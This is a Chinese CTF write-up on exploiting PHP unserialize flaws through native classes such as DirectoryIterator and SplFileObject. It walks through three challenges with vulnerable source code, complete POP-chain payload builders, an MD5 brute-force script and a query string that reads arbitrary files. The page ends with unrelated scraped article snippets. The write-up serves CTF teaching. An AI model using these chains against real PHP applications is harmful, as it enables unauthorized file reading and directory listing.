CTF题型 php反序列化进阶(1) php原生类 例题和总结

CTF题型 php反序列化进阶(1) php原生文件操作类 例题和总结

文章目录

  • CTF题型 php反序列化进阶(1) php原生文件操作类 例题和总结
    • 特征
    • 原理 我们可以通过PHP自身本来就有的类来进行文件操作
      • 扫描目录的三个类
      • DirectoryIterator(支持glob://协议)
      • FilesystemIterator(继承自1,同上)
      • GlobIterator(相等于自带glob协议的DirectoryIterator)
      • 读取文件
    • 1.2023 安洵杯 easy_unserialize
      • 问题1 如何绕过双MD5
      • 问题2 保证条件判断为真
      • 问题3 绕过urlencode编码和base64编码相同
      • array_walk函数理解
      • $this 可以访问内部所有属性
    • 2.[GDOUCTF 2023]反方向的钟
      • 注意一点SplFileObject 默认 读一行 配合用 php://filter使用
    • 3.[ciscn国赛初赛 2021 easy_source]

特征

在php反序列化中 没有直接的利用点可以直接rce

而是echo new $a($b);

echo 可以触发类的 toString方法

new 新建类

a ( a( a(b) 类和参数可控

原理 我们可以通过PHP自身本来就有的类来进行文件操作

扫描目录的三个类

  1. DirectoryIterator(支持glob://协议)

    DirectoryIterator(glob://*flag*)

  2. FilesystemIterator(继承自1,同上)

  3. GlobIterator(相等于自带glob协议的DirectoryIterator)

存在__toString,可以获取符合要求的第一个文件名

一般题目会用 foreach 遍历读取每一行

读取文件

SplFileObject(通过echo触发SplFileObject中的**__toString()**方法)

注意几点

  1. 不支持glob协议必须先通过扫描目录拿完整文件名

  2. 仅读取一行内容(完整内容配合php://filter)

  3. 一般题目会用 foreach 遍历读取每一行输出flag内容

1.2023 安洵杯 easy_unserialize

题目环境:https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web/easy_unserialize

源码分析写在注释里了

注意一下比较冷门的考点

function __isset($name) { // 对不存在或不可访问的变量使用 isset 或 empty 时调用
        echo 'isset '.$name.'<br>';
    }
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1) 4.调用__isset方法
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;//赋值
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()//8.调用__toString方法
    {
        $new = $this->l1;
        return $new();//将类作为函数调用
    }

    public function __get($arg1)//6.调用get方法
    {
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)//3.触发 __unset方法
    {
        if(md5(md5($this->md5)) == 666)//判断双md5为666
        {
            if(empty($this->lll3->lll3)){//调用empty
                echo "There is noting"; 
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)//7.调用_call方法
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;//以字符显示
        }
    }
    public function __set($arg1,$arg2)//5.调用__set方法
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()//2.触发__wakeup魔术方法
    {
        unset($this->y1->y1); //触发unset
    }
}
class Flag{
    public function __invoke()//9.触发__invoke
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($make, $colo) {
            $three = new $colo($make);//特征
            foreach($three as $tmp){//遍历对象
            echo ($tmp.'<br>');
            }  
        });
    }
}

if(isset($_POST['D0g3']))
{
    unserialize($_POST['D0g3']);  //1.开始反序列化
}else{
    highlight_file(__FILE__);
}
?>

POP链

YOU::__wakeup->Luck::__unset->Good::__isset->TO::set->Luck::__get->To::__call->Luck::__toString->Flag::__invoke-->php文件操作原生类

问题1 如何绕过双MD5

if(md5(md5($this->md5)) == 666)

编写脚本碰撞

发现单纯字母数字 md5(md5(结果))没有

因为这里是md5(md5($this->md5)) == 666弱比较

保证 666后第一个字符为任意字母,其他任意

import hashlib
import itertools

def brute_force_md5():
    # 使用字母表和数字进行字符的尝试
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    
    # 迭代尝试所有可能的字符组合
    for text in itertools.product(charset, repeat=3):
        text = ''.join(text)
        hash1 = hashlib.md5(text.encode()).hexdigest()
        hash2 = hashlib.md5(hash1.encode()).hexdigest()
        # 检查是否满足条件
        if hash2.startswith("666") and hash2[3].isalpha():
            # 输出满足条件的字符串
            print("满足条件的字符串:", text + "(两次MD5加密后为:" + hash2 + ")")
            break

# 运行爆破
brute_force_md5()

image-20240314201341794

ag2

问题2 保证条件判断为真

      if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)

随便穿个字符 只要不为0即可

出题人想考 变量操作符 ${##}可以代替1

image-20240314205856669

问题3 绕过urlencode编码和base64编码相同

if(urldecode($this->arg1)===base64_decode($this->arg1))

1.数组绕过 []

2.传空值''

这里构造pop链时有一个细节

php>7后对 public,private不敏感

直接将private属性的成员变量替换为public

(PHP 4, PHP 5, PHP 7, PHP 8)

array_walk函数理解

— 使用用户自定义函数对数组中的每个元素做回调处理

参数 
1.array
输入的数组。 
2.callback
典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个。 

这里的array_walk($this, function ($make, $colo) {

$this 可以访问内部所有属性

包括原生类 直接作为属性 即可作为数组 传递给匿名函数function ($make, $colo)

构造pop链 遍历 / 目录

//YOU::__wakeup->Luck::__unset->Good::__isset->TO::set->Luck::__get->To::__call->Luck::__toString->Flag::__invoke-->php文件操作原生类
$you=new You();
$you->y1=new Luck();
$you->y1->md5='ag2';
$you->y1->lll3=new Good();
$you->y1->lll3->gg2='${##}';
$you->y1->lll3->g1=new To();
$you->y1->lll3->g1->tt2=new Luck();
$you->y1->lll3->g1->tt2->ll2=new To();
$you->y1->lll3->g1->tt2->ll2->arg1='';
$you->y1->lll3->g1->tt2->ll2->t1=new Luck();
$you->y1->lll3->g1->tt2->ll2->t1->l1=new Flag();
$you->y1->lll3->g1->tt2->ll2->t1->l1->DirectoryIterator='/';
echo(serialize($you));

可以拿到flag的名称 FfffLlllLaAaaggGgGg

image-20240314213000001

读取flag


//YOU::__wakeup->Luck::__unset->Good::__isset->TO::set->Luck::__get->To::__call->Luck::__toString->Flag::__invoke-->php文件操作原生类
$you=new You();
$you->y1=new Luck();
$you->y1->md5='ag2';
$you->y1->lll3=new Good();
$you->y1->lll3->gg2='${##}';
$you->y1->lll3->g1=new To();
$you->y1->lll3->g1->tt2=new Luck();
$you->y1->lll3->g1->tt2->ll2=new To();
$you->y1->lll3->g1->tt2->ll2->arg1='';
$you->y1->lll3->g1->tt2->ll2->t1=new Luck();
$you->y1->lll3->g1->tt2->ll2->t1->l1=new Flag();
$you->y1->lll3->g1->tt2->ll2->t1->l1->SplFileObject='/FfffLlllLaAaaggGgGg';
echo(serialize($you));

image-20240314213241346

可以拿到flag

2.[GDOUCTF 2023]反方向的钟

复现环境:https://www.nssctf.cn/problem/3723

源码 这题直接flag位置都告诉我们了

<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

简单的pop链

$school=new school();
$school->department=new classroom();
$school->department->name='one class';
$school->department->leader=new teacher('ing','department');
$school->headmaster='ong';
echo(base64_encode(serialize($school)));

注意一点SplFileObject 默认 读一行 配合用 php://filter使用

image-20240314214835814

image-20240314215022653

拿到flag

3.[ciscn国赛初赛 2021 easy_source]

没找到环境 有源码 本地搭建

<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }
    
}
//class类实现 递增 $c的值
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

这题可以用原生类SplFileObject来做new $rc($ra, $rb);

但是我们要考虑第二个参数是什么

我们可以查阅php官方文档

image-20240314220454578

构造函数 第二的参数必须可以是’r’

$method->$rd() 考虑SplFileObject 的什么方法可以读文件

image-20240314220534651

发现SplFileObject存在 fpassthru静态方法 输出文件 内容

?rc=SplFileObject&ra=index.php&rb=r&rd=fpassthru

即可在源代码中发现flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/471231.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于springboot的stone音乐播放器的设计与实现

摘 要 随着我国经济的高速发展与人们生活水平的日益提高&#xff0c;人们对生活质量的追求也多种多样。尤其在人们生活节奏不断加快的当下&#xff0c;人们更趋向于足不出户解决生活上的问题&#xff0c;stone音乐播放器展现了其蓬勃生命力和广阔的前景。与此同时&#xff0c;…

使用 CSS 实现毛玻璃效果

在现代 Web 设计中,毛玻璃效果越来越受欢迎。它能够让界面元素看起来更加柔和、朦胧,同时又不会完全遮挡背景内容,给人一种透明而又不失质感的视觉体验。虽然过去实现这种效果需要借助图像编辑软件,但现在只需要几行 CSS 代码,就可以在网页上呈现出令人惊艳的毛玻璃效果。 使用…

小火星露谷管理器 报错:“你似乎没有安装Edge的webview2”

错误 解决办法 你可以到这个地方下载安装webview2 https://developer.microsoft.com/zh-cn/microsoft-edge/webview2/?formMT00IS

如何进行汇川PLCH1U-XP系列PLC远程监控?

在工业自动化的浪潮中&#xff0c;可编程逻辑控制器&#xff08;PLC&#xff09;作为控制系统的核心&#xff0c;其稳定性和可靠性对于生产流程的顺畅运行至关重要。汇川PLCH1U-XP系列以其高性能和广泛的应用场景&#xff0c;在工业控制领域占有一席之地。然而&#xff0c;对于…

华为机试真题练习汇总(81~90)

华为机试真题练习汇总&#xff08;81~90&#xff09; 华为机试真题练习汇总&#xff08;81~90&#xff09;HJ81 字符串字符匹配** HJ82 将真分数分解为埃及分数HJ83 二维数组操作HJ84 统计大写字母个数HJ85 最长回文子串HJ86 求最大连续bit数HJ87 密码强度等级* HJ88 扑克牌大小…

2024年 嵌入式系统设计师(中级)

2024年 嵌入式系统设计师全套视频、历年真题及解析、历年真题视频解析、教材、模拟题、重点笔记等资料 1、2023、2022、2021、2020年全套教程精讲视频。 2、嵌入式系统设计师历年真题及解析&#xff08;综合知识、案例分析&#xff09;、历年真题视频解析。 3、官方最新信息嵌…

【爬虫实战】使用Python获取花粉俱乐部中Mate60系列的用户发帖数据

&#x1f935;‍♂️ 个人主页&#xff1a;艾派森的个人主页 ✍&#x1f3fb;作者简介&#xff1a;Python学习者 &#x1f40b; 希望大家多多支持&#xff0c;我们一起进步&#xff01;&#x1f604; 如果文章对你有帮助的话&#xff0c; 欢迎评论 &#x1f4ac;点赞&#x1f4…

每日一题 1969 数组元素的最小非零乘积

1969. 数组元素的最小非零乘积 题目描述&#xff1a; 给你一个正整数 p 。你有一个下标从 1 开始的数组 nums &#xff0c;这个数组包含范围 [1, 2p - 1] 内所有整数的二进制形式&#xff08;两端都 包含&#xff09;。你可以进行以下操作 任意 次&#xff1a; 从 nums 中选…

yolov7 gui 轻松通过GUI来实现车辆行人计数

YOLOv7 GUI 是一款用户友好型图形界面应用程序&#xff0c;专为简化基于YOLOv7&#xff08;You Only Look Once version 7&#xff09;的目标检测流程而设计。该工具允许用户无需深入掌握命令行操作和复杂编程细节&#xff0c;即可方便快捷地运行YOLOv7模型来检测图像或视频中的…

进制,码制及其表示范围

一 进制 1 常见的进制及其简写 十进制&#xff08;Dec&#xff09;二进制&#xff08;Binary&#xff09;十六进制&#xff08;Hex&#xff09;八进制&#xff08;Octal&#xff09; 2 进制之间的相互转换 二 码制 1 常用的码制 三 各码制在定点整数时表示的范围 个人推导…

使用Vscode连接云进行前端开发

使用Vscode连接云进行前端开发 1、ssh连接腾讯云 本人使用的是腾讯云。 然后vscode,用最新版&#xff0c;插件选择remote ssh&#xff0c;或者remote xxx下载过来。 然后点击远程资源管理器&#xff0c;选择SSH通道 然后输入命令如下。 ssh rootip然后输入密码 腾讯云应该…

网络工程师练习题2

网络工程师 将专用IP地址转换为公用IP地址的技术是&#xff08;&#xff09;。 A.ARPB.DHCPC.UTMD.NAT 【答案】D 【解析】概念题&#xff0c;NAT技术将源地址从内部专用地址转换成可以在外部Internet上路由的全局IP地址。 R1、R2是一个自治系统中采用RIP路由协议的两个相…

社交变革:探索Facebook的魔力

社交媒体平台的崛起已经改变了我们与世界的交互方式&#xff0c;而Facebook作为其中的巨头&#xff0c;其影响力和魔力更是不可忽视。本文将深入探讨Facebook如何引领社交变革&#xff0c;并探索其背后的魔力所在。 连接世界的纽带 Facebook的独特之处在于它作为一个社交平台&…

【SAP-ABAP】CO01保存时错误DBSQL_DUPLICATE_KEY_ERROR

找到该表的主键OBJNR&#xff0c;事务代码SM56中查看当前缓冲到该key的号码段&#xff0c;事务代码SNRO修改对象名称OBJNR编号范围状态。 事务代码SM13查看数据更新记录

从头开始安装vpbx

1、安装Ubuntu18.04系统 进入root用户&#xff0c;&#xff08;后续操作都需要在root用户中&#xff09; su root2、下载ubuntu系统中常用的基础软件 openssh-server、vim、net-tools sudo apt-get install -y openssh-server vim net-tools3、下载freeswitch编译和运行的编…

MNN Session 创建执行器(六)

系列文章目录 MNN createFromBuffer&#xff08;一&#xff09; MNN createRuntime&#xff08;二&#xff09; MNN createSession 之 Schedule&#xff08;三&#xff09; MNN createSession 之创建流水线后端&#xff08;四&#xff09; MNN Session::resize 之流水线编码&am…

FMEA的实施步骤与注意事项——FMEA软件

免费试用FMEA软件-免费版-SunFMEA FMEA&#xff0c;即故障模式与影响分析&#xff08;Failure Modes and Effects Analysis&#xff09;&#xff0c;是一种预防性的质量工具&#xff0c;广泛应用于产品设计、制造和服务过程中&#xff0c;以识别潜在的故障模式&#xff0c;评估…

【黑马头条】-day01环境搭建SpringBoot-Cloud-Nacos

文章目录 1 环境搭建及简介2 项目介绍2.1 应用2.2 业务说明2.3 技术栈2.4 收获2.5 大纲 3 Nacos准备3.1 安装Nacos 4 初始工程搭建4.1 环境准备4.1.1 导入项目4.1.2 设置本地仓库4.1.3 设置项目编码格式 4.2 全局异常4.2.1 自动装配 4.3 工程主体结构 5 登录功能开发5.1 需求分…

算法---二分查找练习-3(山脉数组的顶峰索引)

山脉数组的顶峰索引 1. 题目解析2. 讲解算法原理3. 编写代码 1. 题目解析 题目地址&#xff1a;点这里 2. 讲解算法原理 初始化两个指针 left 和 right&#xff0c;分别指向数组的起始位置和结束位置。 进入循环&#xff0c;循环条件为 left < right。 在每次循环中&…

极客早报第3期:罗斯否认插足凯特王妃婚姻;清明放假调休3天;国产伟哥去年销售近13亿

一分钟速览新闻点&#xff01; 每日简报 罗斯否认插足凯特王妃婚姻清明放假调休3天国产伟哥去年销售近13亿男子持台球杆殴打2名女店员被抓今日春分淀粉肠小王子带货日销售额涨超10倍[高中生被打伤下体休学 邯郸通报](https://www.baidu.com/s?wd高中生被打伤下体休学 邯郸通报…